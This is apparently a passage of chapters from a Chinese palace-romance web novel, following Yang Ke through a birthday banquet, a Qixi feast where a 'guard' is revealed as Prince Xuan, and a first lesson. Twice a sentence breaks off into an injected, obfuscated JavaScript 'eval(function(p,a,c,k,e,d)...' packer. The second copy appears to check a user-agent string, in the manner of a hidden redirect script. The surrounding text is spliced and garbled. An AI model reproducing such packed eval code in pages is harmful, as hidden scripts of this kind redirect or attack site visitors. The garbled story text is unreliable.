杨柯喜滋滋地出了内务府,往天书阁去寻乐白。拐过九曲回廊时,她突然冲着鎏金檐兽龇牙:“今儿本姑娘高兴,特许你喝口杨氏特调——”壶嘴往石阶上一倾,晃出来的梅子香惊得蚂蚁排成歪诗。她见状乐不可支,继续启步前行。却不知自己这番举动,已被路过的宇文拓和宇文泰收入眼底。 “头一回见人这么高兴,”宇文拓也被杨柯的喜气带得扬起嘴角,“阿泰,你听说了么,今日晌午,内务府的西瓜车在大道上被人踹翻一地,陈瑞金那帮老头可是气得不轻。” 宇文泰略一垂眸,嘴角微不可见地上扬了一分:“有谁闲来无事要踹西瓜车?” 宇文拓拿下巴指了指杨柯远去的方向:“听说陈瑞金又拿宫女开涮了,刚巧碰上位伴读路见不平,踹翻了西瓜车,拉着那个小宫女跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她憋着笑指着那半枚令牌:“乐白你可知晓,当年这令牌还有个‘琴虱合鸣’的典故?”说着摸出怀中剩下的半枚,缺口与案上那块严丝合缝。 乐白一脸惊异,眼里随即覆满失落:“为何你也有令牌?他怎能……”接着淡眉一蹙,红唇一撅,左足一顿,“好啊,原来你们两个早有感情!” 杨柯急忙摆手:“这半个压根不算数!云昌吉和我从小光屁股长大,别说男女之情了,连一点儿那方面的苗头都没有。我对天发誓!”言罢,笔直竖起三根手指。 见杨柯一脸虔诚,乐白扑哧一声笑了出来,“那我信你了!”接着眼波一转,又撅着嘴道:“不过,你和章可馨打架那回,我看他倒是挺着急。” 杨柯见她嘴上虽犟,但实际已经气消,接着凑趣道:“嗯,是挺着急的,着急到光怵在一旁干叫唤,好不容易出手,又让章可馨给推到水里去了。”她见乐白笑着摇头,又继续道,“小时候,不是我给他擦屁股就是他拎着我逃跑,打架这种事也见怪不怪了,他若真要担心,多半也是怕我顶撞了他的羲王爷。”说完气得吹胡子瞪眼。 乐白轻轻戳了戳她的胳肢窝:“二哥做事向来说一不二,昌吉跟着二哥做伴读,自然不敢懈怠。” “行了行了,我的好姐姐,别帮他说好话了。”杨柯顺势将手臂搭上了乐白的肩膀,“您这位心上人啊,七岁还尿炕,拿《孙子兵法》当褥子晒;十二岁给姑娘写情诗,把‘琴瑟和鸣’写成了‘琴虱合鸣’。” 乐白听着沉吟不语,忽而启唇喃喃道:“他好可爱。” 杨柯嘴角又是一抽:“也……也算是可爱吧。” 她捉住杨柯的衣袖:“阿柯,你可千万别告诉他此事,我想给他一个惊喜。” “放心,我讲了也没用,说不定啊,他还以为你是为了督促他读书来的。”杨柯将案上的令牌递给乐白,憋着笑,贴着她耳语,“这呆子到现在还以为‘琴虱和鸣’是种暗器名呢。” 乐白愣了一瞬才明白过来,随即跟着杨柯咯咯笑倒在竹簟上。书案上的《花间集》啪嗒落地,正翻在“玲珑骰子安红豆”那页。等到笑意落下时,乐白小心地将令牌掖进了书册里。 10. 寿宴 戌时三刻的梆子声追着杨柯的脚后跟砸过来,她拽着青桃在回廊狂奔,“姑娘,咱们是不是要迟到了?这可是宸妃娘娘的寿宴哪!”二人终于赶到了景泰宫,哪知方才在房内磨蹭了太久,竟忘了时间。 “你没看那席间还跳着舞呢,咱们现在过去也不打眼。”杨柯说着便一个急刹拉着青桃汇进了送膳队伍,抬膳太监们被吓得差点儿将手里的八宝鸭酱汁泼在金砖上。 “对不住对不住!”她混在人群里,顺手把翘头履拎在手上,赤足踩着地毯溜进大厅。舞姬的裙摆擦着她鼻尖飞过,杨柯就势旋身钻进半幅鲛绡帐里,从客人的脚下摸回座位。 终于平安落座,乐白趁机嗔了她一眼。杨柯不好意思地冲她笑了一笑,转头过去,正撞见不远处一个熟悉的鬼脸——云昌吉不知何时猫在屏风后,正冲她比划着“差点露馅儿”的口型。杨柯悄悄伸手冲他摆了个拳头,昌吉顺势溜了回去。 殿中内臣正在将各宫送来的画轴古玩一一摆好,执事太监躬身递上洒金礼单,宸妃身侧的大宫女檀若接过,奉到她身前。宸妃端坐中央,肤若凝脂,眉如远黛,身披正红蹙金绣凤朝服,衣袖垂下的线条平顺,无一丝褶皱。 “今年西番进贡的雪域并蒂莲、暹罗国贡品金丝燕窝、漱风苑献玉雕冰鉴一盏、琅缳阁献翡翠白菜四颗、江南织造署呈千蝶穿花帐、镇北侯府献紫貂大氅……" 太监终于念完了礼单,宸妃淡淡点头:“嗯,都记下了?” “回禀娘娘,都记录在册。” 这一长串念名,听得杨柯入了神。她的视线随着宸妃移动,忽然注意到宸妃身旁一位仙子般的人物,看着年纪并不大,发髻挽着,已经成婚,但在宫中好像并没听说过有这样一位年轻的妃子。 趁着醒初过来递给青桃碟子,杨柯拉着醒初悄悄问道:“醒初,宸妃身边那位娘娘是谁?” 醒初朝她视线的方向望了一眼,低声笑着回道:“她哪是娘娘啊,那是孔阳公主。” 见她仍旧疑惑,醒初继续道:“孔阳公主乃是已故的公孙皇后唯一的女儿,先皇后在殿下五岁时就不幸病逝,陛下便特赐了公主封号,以表抚慰。不过公主如今成家,家庭幸福得很。三年前嫁与了刑部尚书魏长明魏大人,庆宁郡主就是他们的女儿。” “公孙皇后?是公孙大人的那个公孙?” “姑娘猜的没错,先皇后是公孙大人的姑姑,孔阳公主与公孙大人乃是表姐妹。” 杨柯凝神端详着孔阳,心中连连感叹,公孙家族果真出人才。可惜这样的神仙姐姐竟然小小年纪便没了母亲。 心里正想着,视线刚好对上宸妃的,杨柯差点被嘴里的玉液酒给呛住。 宸妃朝着她道:“这位姑娘看着眼熟。” 杨柯起身离席,于殿中下跪行大礼:“杨柯参见宸妃娘娘,祝娘娘万福金安、仙寿恒昌!” “快起身吧。”宸妃薄露笑意,“本宫记得你。你是黎初先生的弟子?” 杨柯恭敬起身:“回娘娘的话,正是。” 宸妃轻轻颔首:“黎初先生是朝中难得的贤才,泰儿和阿拓也曾拜教于先生门下。这么说来,你们三人还是同门师兄妹。” 杨柯想到他二人趾高气昂的样子便没好气,但嘴上仍回:“承蒙娘娘好意,恩师常教诲我,能在宫中当差,定要尽心尽力,不负娘娘与圣上的恩泽。” 这时,执事太监走到宸妃边上,在她耳边轻声道:“娘娘,殿下还在圣上那儿呢,今日朝上又因为将军的事闹了起来,殿下下了朝便进了勤政殿,到现在还没出来。” 宸妃一双淡眉微微皱起,抬眼又神色入常,柔柔缓缓道:“不急,差膳房做点牡丹银耳羹,送到勤政殿去。”公公闻言点头,弓着腰退下了。 宸妃继续道:“本宫听闻御书院给你甲等的成绩,缘是你写的诗在众多人选中拔得头筹。”她话音刚落,在场的人都窃窃私语了起来,好奇地打量着杨柯,想看看她到底是何方神圣。 孔阳公主放下手里的茶杯,言语是对着宸妃,但目光却一直落在杨柯身上:“这么多年试选,少说也有几百名女子,诗才高妙的可是少见。” 落座于宸妃右首的章可馨倒是开口了:“会写诗的人也不少呀,前年来的珍珠不也是拿了甲等。”她一说完,全场皆是一滞。 孔阳扑哧一笑,打破了沉寂:“馨儿可真是哪壶不开提哪壶。珍珠这个叛徒,岂能与我朝的女子相提并论?” 章可馨脸色尴尬,红晕爬上粉颊,抬眼偷偷瞅了宸妃一眼,见宸妃神色略微僵硬,便垂下眸子,不敢再说话。 杨柯见这情况,估摸着章可馨提到了不该提的人。于是也微微低头,垂下眼凝望着面前的万字团花金砖。 宸妃的声音从身前传来:“之前不曾见过你,如今可好,终于见到你了。可否给我们讲讲你都写了什么诗?” 杨柯倒也不怯,直言道:“臣的诗名为《逍遥行》。无非是抒发逍遥人间,自由自在之意,也是效仿诗仙李白的风格。” “这《逍遥行》倒让本宫想起开元三年,李太白初入长安时作的《相逢行》。你可知他为何独爱云月之喻?” “依臣拙见,云月看似逍遥物,实为李白心境的象征,”她忽而忘记了下一句,停顿了一瞬,幸好乐白在边上提醒,又继续接了上来,“云遮月是怀才不遇,云散月明则是直挂云帆济沧海。” “瞧瞧这机灵劲儿!上月娘娘刚用‘云’字令考较六宫,连丽妃都接不上‘云想衣裳花想容’的典故呢。”一旁的绾嫔扇着骨扇,轻笑着调侃道。 宸妃颔首微笑:“本宫库里有套文房器具倒合你性子,”说着,身旁的檀若捧上缧钿漆盘,掀开锦袱,“这鼠须笔用的是天山北麓黄狼尾,墨锭掺了贞观年间的龙涎香。” 杨柯双手接盘,扬声道:“多谢娘娘厚爱。臣这就把笔尖蘸满太液池水,定要写出比‘天子呼来不上船’更放肆的诗句!” 众人闻言皆畅怀大笑,席间其乐融融。 “妹妹来迟了。”殿外远远传来一道人声,席间笑声顿停,众人皆凝神回望着来人的方向。只见她一身茜色织金牡丹纹缂丝大氅,孔雀翎镶边随步伐翻涌成青碧浪涛,领口缀十二颗南海珠,行走时难掩熠熠虹光。身后跟着一队人抬着个巨大的器物,那器物被红布盖住,公公们满头大汗,脚下直抖,但过门槛时仍是瞻前顾后,生怕有个什么闪失。 孔阳公主冷冷开口道:“丽妃入宫也有了二十几年,多打扮打扮也是常理。” 丽妃满面红光的脸瞬间转绿,头上的九凤衔珠累丝金钗也黯然失色。她瞧了一眼身后,脖子立即重新梗直了些,冷眼瞥了孔阳一眼,抬手扶了扶头上的金钗:“姐姐的生辰何其隆重,妹妹岂能胡乱装扮了就来?”给了身侧的侍女一个眼神,“柴云,打开吧。” 器物旁垂首的侍女柴云点头,随即抬手示意身后的太监们将红布掀开。红布落地,众人皆惊得倒吸一口冷气。 “这是拓儿上个月从东瀛进贡品里挑出来的,我看着着实稀奇,就留下来准备送给姐姐。” 宸妃从容起身,徐徐移步至丽妃身前,略带责怪地道:“怎么如此破费,这珊瑚礁实在是贵重。” 丽妃莞尔一笑:“姐姐莫客气,你我二人何必如此拘礼。” 孔阳公主仍是坐在席上,语气不咸不淡:“看来拓儿在朝廷里讨得不少好啊,昨日我还听说,他最近几年对政事着实上心,工部被他料理得井井有条,连易大人都自愧不如。” 丽妃闻言,脸色一僵。见丽妃的神色,杨柯对醒初问道:“易大人很厉害吗?” 醒初点点头:“易望林大人乃两朝老臣,也是凌渊阁十二功臣之一,如今虽官拜工部尚书,但他的话,六部不敢不听,就连在勤政殿也有几分份量。” “既然公主夸赞端王,为何丽妃要生气?” “公主这番恭维,虽听着不错,但分明是在讥讽端王殿下。” “为何是讥讽?” “端王殿下虽贵为皇长子,被当作未来储君培养,早早便被陛下赋予了协理六部的权力,可他终日沉迷于相扑顽耍,对朝堂之事不闻不问,连上朝都是能推则推,所幸有六部大臣们维持着正常运转,陛下也只能睁一只眼闭一只眼。前些月端王殿下还因为将御书院的夫子轰出了长宁殿,激怒了陛下,罚他闭门思过,现下哪里有上心的可能?” 只听丽妃冷笑一声:“公主这话是从哪儿听来的?不知是在恭维拓儿呢,还是在有意构陷说给陛下听呢?若是恭维,这后宫里没眼力见儿的奉承奉承他也就算了,若是故意说给陛下听,本宫还是奉劝公主离前朝的事远点儿,免得遭人非议。” 孔阳垂眸一笑,嘴角带着嘲讽和冷意,微末抬眼,定定看着她道:“看来丽妃娘娘还是有几分自知之明,孔阳岂敢擅自评论政事,左不过是道听途说罢了。” 宸妃见丽妃脸色越来越难看,笑着道:“今日是本宫的生辰,谁要讨论什么前朝的事情,就罚她吃酒一壶!” 丽妃旋即接道:“妹妹不胜酒力,若要吃酒,还不如让妹妹喝两壶的白水呢。” 众人跟着哄笑起来,气氛恢复如常。 杨柯早早吃饱,坐在座位上实在闲得无聊,便趁机退了出去。许是因为大家都聚在内殿,外殿竟反常地安静。她仰头望去,树梢新月弯弯,花园里的梨花开满,洁白落了一地,仔细一瞧,那梨花树下还坐了个通体雪白的梨花精。杨柯走近一看,它一身月白镶银细花纹底长袍,大片的莲花在白衣上若隐若现,一根银带束着一半的黑发高高地绑在脑后,眉下棕色眼眸在月光下清澈皎洁。 这哪儿是梨花精啊,分明是那晚拦她出宫的冤大头! 她正准备转身逃跑,却听男子无奈的声音柔柔地传来:“云舒,别再唤我进去了,我在这很自在。” 杨柯松了口气,柔声轻语道:“那我就不打扰你了。” 男子察觉不对,放下手中的酒壶,起身走了过来,“敢问姑娘是?” “大人继续喝酒吧,抱歉打扰了。”她边说边快步逃走。 男子拦在她身前,如玉的脸上荡漾着怡人的笑容:“原来是杨姑娘,我们又见面了。” 杨柯也对他呵呵一笑,这厮记性不差,现下只能希冀他不计前嫌。 “是啊真巧。”说完,她又察觉到气氛有些凝固,余光瞥见对方手里的酒壶,随即脱口道:“大人好雅兴,今日又在喝酒。”话毕便开始懊恼,这张嘴总是比脑子还快。 男子闻言轻笑:“闲来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他有些疑惑地看向她,泠泠的月光照得他琥珀眼瞳格外清透,像是一只林间的小鹿。 杨柯将书拾起,翻了翻,道:“我也爱读姑苏悠悠客,他不仅写传奇话本,还作得一手好诗。”其实这姑苏悠悠客是两个人,写话本的是杨柯曾经的私塾同学苏逸,而另一个作诗的就是杨柯自己。他二人平日上学不爱听课,趁着先生不注意,喜欢在书本底下写点东西,后来写得多了,两人便胡乱诹了个笔名,出了些书。 男子认真道:“我平日里爱读他的诗集,见他还有传奇话本,便买来看看。” 杨柯听言心里一喜,随即又一奇:“诶?不对呀,我瞧你这本怎么章节不全,好像被删过。” “原来如此,我初读时还觉得情节跳脱,本以为是自己肤浅,不理会作者深意,没想到是这个原因。” 哪有读者反省自己的?杨柯看着他无辜的样子,忍不住笑道:“何必为书找自己的不快?读得畅快便是好书,读得不舒服了,扔到一边去便是。”又继续胡诌下去,“这姑苏悠悠客我也见过,从前还在同一个书院上过课。彼人写文动机略显功利,见传奇话本风靡于世,便只做话本,再也不作诗了。不过他的水平嘛,倒是不错。若你有兴趣读一读全本的《明斋广录》,不妨稍等几日,我设法寻得一册,赠予你细细品读。”其实压根儿不是苏逸的错,就是杨柯自己懒,光贪玩不写诗,苏逸只得发些传奇故事出去维持名声。 男子听后,眼中露出赞赏:“能有杨姑娘如此胸有丘壑的人慷慨相助,在下实在幸运。” 杨柯脱口道:“我胸前只长了两坨肉,可没什么沟啊壑的。” 男子听言愣了一瞬,旋即敞怀大笑,又举起酒壶,酣畅快饮。 一口烈酒下肚,杨柯不免又冒出了长年混迹酒巷沾染的流里流气,不过对方竟不感觉冒犯,她不禁对他的身份更加好奇起来,于是问道:“敢问大人姓氏?以后也好常登门拜访、探讨诗作。” 男子方才脸上的笑意逐渐褪去:“在下不过是个禁军侍卫,不足为名。” 杨柯打量了他一瞬,摇摇头:“看着不像。” 对方笑道:“哪里不像了?” “寻常的侍卫要说武功高超,倒是不假。但若说起风花雪月、诗词歌赋,就连字也是不认识的。”云昌吉不就是个例子,他从来只会舞刀弄剑,扔给他一本书,他能立马睡着。 “姑娘真是幽默。一文不识如何,耍枪使棒又如何,都不过是为人臣罢了。” “话虽是这么说,但是大人这般才华入了羽林卫,岂不是有些浪费?” 男子谦虚道:“杨姑娘言过了。我倒是十分佩服你,能在规矩森严的宫中,保持自己的个性,实属难得。”他话锋一转,语气中多了几分认真,“不过,宫中不比其他地方,还需小心谨慎,不然下次出宫时,碰到的就不光是我了。”说着他站起身来,拱手道:“宫门晚间还需值守,在下先行一步。” 杨柯起身还礼:“兄台公务要紧,改日再聚!” 见他走远,杨柯也往外去。黑夜中的宫墙上空蓦地闪过一道人影,看得她顿时毛骨悚栗,一眨眼的功夫,又什么也看不见了。顺着那人影的方向望去,好像是宣王所在的翠微殿。 11. 七夕 日子一晃便到了七月初七,陛下惯例驾幸青莲池中的紫萝殿庆祝七夕,并赐宴百官。 宴设紫萝殿西翼揽月阁之上,十二扇檀木隔扇尽开,正对着云栖山三十六叠青嶂。殿中七宝灯缀满双星纹样,金盘盛着巧果酥山,檐角悬着五彩乞巧丝。底下青莲池内金鳞乍跃,新荷初绽,池中横列有四艘彩船,又有两艘画舫相伴在侧,中有乐伎调琴吹笙,乐声悠扬。 “众爱卿今日齐聚紫萝殿,朕着实高兴,好久没有这么热闹过了。” 坐于皇帝右首的易望林开口道:“陛下请看今夜星空,紫微星与天市垣交辉于东南,恰应牛女渡河之瑞。此乃陛下圣德广被,上感于天,方有这般祥瑞之象。许是天象呈祥,今年工部在渭河的拓宽工程已经顺利竣工。” 户部尚书郑仪跟着起身应和:“陛下,户部今年新定的‘折银减赋法’也有所成效。” 皇帝朝他们连忙摆手:“好了好了,今日是七夕佳宴,把政务那一套先抛到脑后去吧。”说完转头对着身边的宸妃柔道,“凝儿,前几日你过生辰,朕没能来陪你,实在抱歉。” 宸妃笑道:“陛下这是何必,您平日里对臣妾百般呵护,臣妾觉得每一日都似生辰一般开心。” “你这么想,朕更加愧疚了,今晚就去景泰宫,好好补偿补偿你。” 杨柯听了这对话,身上起了一身鸡皮疙瘩,原来皇家夫妻也能如此肉麻。 宸妃对面的丽妃忽然娇嗔道:“陛下,臣妾要是能生在十月就好了。” 皇帝一奇:“丽儿,你说这话是为何啊?” “每年十月都是陛下出塞练兵之时,要是臣妾在这期间过生,那陛下岂不是也会将臣妾记挂于心?” 皇帝仰头大笑:“丽儿啊,朕真是拿你没办法。”话毕,他抬手朝向右首,“今日,朕更加高兴的,是能亲自见见他们。” 齐坐于右首的众伴读纷纷起身行礼:“臣叩谢陛下。” 宸妃和言道:“他们来了以后,宫里都活泛了不少。” 皇帝冲着伴读们抬手:“好!有你们在,大夏未来的江山社稷,朕就放心了。”接着,他环顾四周,高堂满座,唯独一处席位空出,于是疑道:“喻儿去哪儿了?”话音甫落,一阵琴音袅袅徐徐,自远处隐隐传来。 众人尽皆转头,循那琴声望去,但见青莲池上,不知何时悄然笼起一层薄雾。原本整齐排列的四艘彩船,此刻已分列两旁,留出一条水道。远处一叶扁舟,悠悠荡荡从中央飘然而至。舟头端坐着一位身着素白衣衫的男子,身前一架古琴,想来琴音正是由此而来。 众人皆被吸引得纷纷探身张望,欲知何方高人能奏出这般天籁之音。然那男子面上覆着银色面具,将面容遮得严严实实,叫人难以看清其庐山真面目。 烟水氤氲处,但见那人十指游龙,琴声隐现雷纹焦尾,弦鸣似裂帛碎玉,倏尔转作幽涧清泉。 席间一人惊呼:“伯牙移情,六马仰秣!”原是琴声响起,池中青莲应声次第绽放,惊得游鱼跃波相和,此乃传说中伯牙抚琴时才会出现的天人交感之相。 曲至中段,古琴铮然破音,船上白衣客广袖翻飞如鹤舞。众人抬首望去,四艘彩船上的琉璃灯不知何时尽数点亮,照见池底深处浮出的千百点银鳞——池中锦鲤衔着褪下的花瓣,将扁舟围在中央,花瓣泛起九重涟漪,扑腾好似满池雨点,齐声随节拍轻摆。随着琴音渐弱,池中雨点逐渐平息,待最后一声泛音没入水面,池间白雾已如素绡缓缓收卷。众人恍然惊醒,方知置身尘世,回神之际,仍觉意犹未尽。 “陛下,都说宣王有伯牙之技,今日听来,果真不假!”一人笑着赞叹,其余人也纷纷点头称奇。 “老田,我这七弟可不是一般人,”宇文拓衔着酒杯,视线转向皇帝的方向,“父皇,我看伯喻去了一趟湘楚,琴技倒是越发精湛了。” 陛下对这样的夸赞自然受用,脸上的笑意就没消减过。 那船渐渐驶向岸边,向他们靠近。宣王撩袍上岸,款款走来,站定在席位中央,向陛下作揖行礼。 席间不少女子虽神色如常,但皆是齐齐转头,欲探宣王之姿。 皇帝笑问道:“喻儿,这池中青莲、锦鲤为何如此听话,难道真有天人交感这样的奇观?” 宣王欠身回道:“儿臣还要多谢二哥鼎力相助。” 皇帝脸上疑惑,视线转向左首的宇文泰,只见他从席间起身道:“回禀父皇,儿臣在池底暗藏了三百青铜莲苞,以磁枢引琴声震动触发。”话音之间,池水忽泛幽蓝磷光,照出水面下纵横交错的铜链网,“锦鲤闻声而动,因其颌下嵌有磁石珠,闻宫调则聚,遇商音则散。” 皇帝闻言,不由拊掌而笑:“多亏了你的聪明才智。你们兄弟二人齐心协力,为我们献上这番精彩表演,朕要好好犒劳你们。” 宇文泰笑道:“雕虫小技罢了,能为七弟精绝琴技略添几分光彩,倒也不费其用。” 皇帝满意点头,视线转向宣王:“喻儿,朕近日倒是听闻有诸多人假借汝名在外吟诗著书,此事可属实?” 宣王拱手欠身:“回禀父皇,那些写的好的,儿臣不敢掠美;那些差强人意的,若他们能用儿臣的名声来博得更多关注,何不成人之美?” 好一个滴水不漏的回答!既维护了自己的名声,又宽容了那些偷名盗誉之人。杨柯暗自称赞,不愧是师父都看好的皇子。不过,听他这声音怎么莫名熟悉? 皇帝笑着点头:“今日是七夕家宴,既然表演结束了,便将面具摘下吧。” 宣王颔首,伸手身前,将面具取下,露出了真容。 杨柯也探头去看,视线触及的那一瞬,心跳莫名快了一拍,本要伸手去摘的葡萄竟从指尖滑落。 是他!前几日在景泰宫外与自己相谈甚欢的侍卫,竟是当朝皇帝第七子、宣王宇文伯喻! 宣王启步还席,坐下时似乎往皇帝右首侧头略望,杨柯慌乱地垂眸,像是做贼一般心虚,但又奇怪于自己的反应,明明骗人的是他,可自己却如临危上阵一般手忙脚乱。 杜衡在一旁低声向她介绍:“宣王殿下乃陛下最为钟爱的皇子。因他聪慧过人,才情出众。陛下见他,仿佛得见年少时的自己,故而对殿下的恩宠远非其他皇子所能企及。通常皇子年满十五,便需迁出皇宫、另立府邸。而陛下却一直将宣王留在宫中,直至十八才让他出宫居住。如今又因为常常召见他,来回甚是费时,便为他开了先例,准他在原先的翠微殿住下,这等待遇,除了因协理政务甚得皇心的羲王外,只有宣王了。” “原来如此。”杨柯故作了然地点头,实际是在强装镇定,不想让杜衡看出她的异样来。 杜衡疑惑道:“诶,姑娘的诗词才华同样不俗,到宫中也久了,怎么会不认识宣王?” 好不容易恢复冷静,杨柯重又紧张了起来。与宇文伯喻的两次相遇皆系违反宫规出逃,她又后知后觉,两次都未看出他身份不凡,他说什么自己便信什么,哪里会想到他其实是宣王。 于是随口诹了个幌子:“自然是听过。但我不过是一介平民,没机会见到宣王。” 杜衡闻言点了点头,便不再说什么了。 见她的注意力又回到席上,杨柯才松了口气,低头一看,手心已经是满满的汗。 宴席到了后半,天色也渐晚,见皇帝和后妃都已回宫,不少人索性离了位子,跑到别处聚在一起。乐白跟 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杨柯按着额头,欲要张嘴呵斥:“你走路怎么不看……”可刚一抬眼,便被生生地噎了回去。面前不是别人,正是宇文伯喻。这一瞬她才明白什么叫作“择日不如撞日”。暖黄色的烛光映照在他的脸上,她的心跳不禁漏了一拍,只是愣愣地看着他。 对面眉眼含笑:“几日不见,认不出我了?” 杨柯尴尬笑道:“殿下何其出众,仅仅一面之缘便叫人难忘。臣很早便听闻殿下的才华,没想到前几日在殿下面前班门弄斧,真是羞愧。” 他的眼底闪过一丝失落,脸上仍是和煦的微笑:“说来抱歉,之前骗了你。但我本意是想与你做朋友,并不想让身份干扰了你我的情谊。” 若是旁人这么讲,杨柯多半觉得敷衍虚伪,但从伯喻口中说出来,她反而感到欣喜,于是也对他笑道:“这算不了什么。能得一知己,当是人生幸事。”又对他关心道:“撞得疼不疼?” 伯喻笑着摇头:“我没事。阿柯,看你脚步匆匆,有什么急事吗?” 杨柯心想,能有什么急事,还不是因为你? “七月初七,自然是去找情郎。”宇文泰从台阶上信步走了下来,表情依然是平常那副欠样。 杨柯自知心中有鬼,目光不敢同他对视,只是垂眸朝他福身行礼。 宇文伯喻反而调侃道:“真的?那我岂不是又坏了你的好事?” 杨柯闷闷道:“你听他胡说,哪有这回事。” 宇文泰剑眉挑起:“那你急匆匆的要去干什么?” “我……我是去……去找青桃,这丫头走了许久也不见回来,这么晚了,我担心她是不是出了什么事。” “是吗?我方才还见她在座席上斟酒,怎么到你嘴里就不见了?” 人在一生中总会碰到一些人,专在你最狼狈时现身,但其目的并非雪中送炭,而是嫌这境况还不够恶劣,再来雪上加霜,宇文泰对于杨柯而言,便是这一类人。 杨柯飞瞄了一眼伯喻,见对方也疑惑地看着她,于是装作惊讶道:“原来她回来了,多谢羲王殿下提醒。” 没成想宇文泰竟也脸皮厚地应了下来,转头对伯喻道:“老七,适才父皇倒是在找你,有些军粮上的事要同户部商讨。” 伯喻立即道:“好,二哥,那我们即刻前去吧。”说完,便朝杨柯拱手道歉,“阿柯,看来今晚不能和你畅叙了,改日我们再一同喝酒?” 杨柯扯出一个微笑:“当然可以。” 他颔首微笑,回身同宇文泰一齐离开了。 望着他远去的背影,杨柯的心里竟感到空落落的,好像儿时偷尝了爹爹剩在桌上的最后一口酒,入口时微醺甘甜,还想再抿一口却没有了,只能委屈地就着回忆仔细咂摸。 12.上学 很快过了一月,伴读考核通过,便到了正式开学的首日。 崇文馆坐落于承影湖畔,而此次上课地点,已由馆内迁至承影湖中央的湖心亭。此亭建于湖心的一座小岛上,遥遥望去,松风鹤影,鸟鸣花浮,鱼乐泉飞。 杨柯手撑着头,惫懒地观景神游,心里啧啧感叹,这地方既宽展又幽静,要是小时读书也有这么好的环境,哪里还会犯困。正想着,却见众人纷纷起身,作揖行礼。 她转首一看,原来是以宇文拓为首的皇子们正款款走来。宇文拓身旁的宇文泰今日穿的一身玄色,显得人神采奕奕。不过她的视线瞬间便被他俩身后的伯喻勾去,他身着天水碧的锦袍,质地细腻,称得他眉目间英气俊朗,与前几次的一身雪白不同,今日恍若竹林仙人,楚楚风流。 “诸位客气。”众人纷纷落座。不出多时,只见一白发老头一手拿着竹简、一手抚着长须,信步入内。他尚未坐下,便环顾四周,悠悠开口道:“诸位,今日为师给你们讲《道德经》。”此人便是御书院的司业范晋了。 杨柯听着范晋的声音,语调平顺,如念经一般,眼皮子开始打战。另一边的云昌吉索性打起了瞌睡。这云昌吉虽是个天赋不错之辈,但也对这些治经之言毫无兴趣,更受不了先生催眠一般的讲书,只能用手扶着额,挡着半张脸蒙混过去。 范晋正口沫横飞,忽然停顿片刻,目光停留在云昌吉那里,面色渐肃:“昌吉,为师问你。” 云昌吉本来快要睡倒过去,听到自己被叫,一个激灵坐直了身子,应声道:“回先生,今日讲的是《道德经》。” 说完,众人哄堂大笑,范晋面色一黑:“我还未提问,你怎么就知晓答案了?” 云昌吉见乐白对他一个劲儿地猛摇头,才反应过来,忙找补道:“弟子知道老师想问什么,这不是提前说了,刚好省去了老师的麻烦。”说完对着范晋嘿嘿直笑。 范晋扬眉道:“所幸你还知道我们今天讲的是哪本书。” 云昌吉听了忙点头,顺势坐直了身子,用动作向老师展示诚意。 宇文拓在一旁邪笑道:“我看昌吉啊,是书未读透,心倒先飞到九霄云外,连夫子的问题都能未卜先知了。” 范晋面色难看起来,这时,伯喻起身作揖道:“先生息怒,昌吉或许只是无心之言,他平日里对学问也是颇为上心的。我们从小一同长大,兄弟之间,偶有玩笑,还望老师不要见怪。” 范晋打量了他们三人一圈,捋着胡须道:“好了,学问之道,贵在诚心与专注,而非口舌之争。阿拓,你是皇长子,应当以身作则。” 云昌吉感激地看了伯喻一眼,又向范晋深深一揖。宇文拓虽然心中仍有不甘,但也只好收敛了锋芒,默默点头应允。 房内的气氛由紧张转为和谐,众人再次将注意力集中到了眼前的书卷之上。 杨柯看向宇文拓那边,他的座位挨着宇文泰,二人平常又如影随形,于是便暗自嘀咕:“不是一家人,不进一家门。” 旁边的章可馨听到了她的话,瞪了她一眼。杨柯感受到她的目光,也回瞪过去。 “上节课纪夫子同你们讲了些《道德经》,今日为师也讲了一遍,你们背诵的情况如何呢?” 范晋的目光落定在前排的宇文泰身上:“泰儿,《道德经》第五十一章,第一句是什么?” 宇文泰拱手而立,怡然自若:“回先生,其政闷闷,其民淳淳;其政察察,其民缺缺。” 范晋满意地点了点头:“接下来由你指定人选。若是接不下去的,便自行去外面跪着吧。” 此言一出,众人皆哗然。都是府中千金少爷,哪里受到过如此严苛的对待。一时之间,气氛骤然紧张。 宇文泰面上浮起一抹浅笑,启唇道:“今年入宫的女使中,有一位也是李太傅的学生,弟子认为,不如就让师妹来接。” 杨柯顿时愣在原地,却听范晋扬声道:“哦?黎初的弟子也来了?”目光在众人中间搜寻着。 她极不情愿地举起手:“先生,是我,弟子名唤杨柯。” “好,阿柯,你来接上泰儿的下一句。” 杨柯干咽了口水,心里直发毛,抬眼瞥向身旁的云昌吉,所幸昌吉机灵,拿手指蘸墨,在桌子上把答案写了下来。 范晋看着杨柯点头微笑,一手背在身后,一手抚着白髦,对她很是看好。 杨柯心虚地冲他笑了笑,随即向云昌吉的桌上瞥了一眼:“祸兮……福……所……” “杨柯,”眼看着范晋的眉头皱了起来,他的目光最终还是落向了云昌吉的手,“答案不在你的心里,难道在同窗的桌子上?” 杨柯心底暗叫完蛋,眼见着众人哄笑开来,有的转首瞥向他们这边,目光中难掩轻蔑。她沮丧地瞅了云昌吉一眼,他也红着脸垂下头。 “弟子忘了后面一句。”她根本没背过这本书,更别提哪章哪句了。 “先生,这几日阿柯陪着我温书,或许是昨夜睡得太晚,白天精神不好,一紧张便忘记了。”乐白见范晋面色青白,赶忙帮她解释。 刘悦在一旁添油加醋:“甲等的水平,要是真温过书,难道连这前两句都不记得?” “阿柯是第一次来上课,《道德经》的内容她并未上过,背不出也是常理。”乐白的话竟然起了反作用,范晋的语气更加严厉:“不会便是不会,如实说就是,为何还要边上人帮忙?杨柯,今日是我第一次为你上课,并不想闹的太难看,可是规矩就是规矩,你出去罢。”范晋爽快地挥手,目光并不看她。 伯喻开口劝道:“范夫子,杨姑娘是女子,也是第一次上先生的课,若直接让她跪坐于烈日之下,恐怕并不合适。” 